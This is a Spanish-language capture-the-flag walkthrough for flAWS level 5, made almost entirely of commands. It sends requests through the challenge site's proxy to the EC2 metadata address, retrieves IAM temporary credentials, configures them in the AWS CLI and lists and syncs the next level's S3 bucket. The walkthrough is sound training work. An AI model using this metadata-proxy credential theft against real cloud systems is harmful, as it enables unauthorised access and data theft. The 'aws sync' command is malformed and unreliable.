flAWS Nivel 5
AWS
Nos dirigimos a https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html
curl -s -X GET http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data
curl -s -X GET http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws | jq
aws configure --profile flaws5_user
vim ~/.aws/credentials
Agregamos el aws_session_token para el usuario flaws5_user aws_access_key_id = AccessKeyId aws_secret_access_key = SecretAccessKey aws_session_token = Token
aws sts get-caller-identity --profile flaws5_user
aws s3 ls level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud --profile flaws5_user
aws sync s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud --profile flaws5_user .
ls -ahl
tree ddcc78ff
firefox ddcc78ff/index.html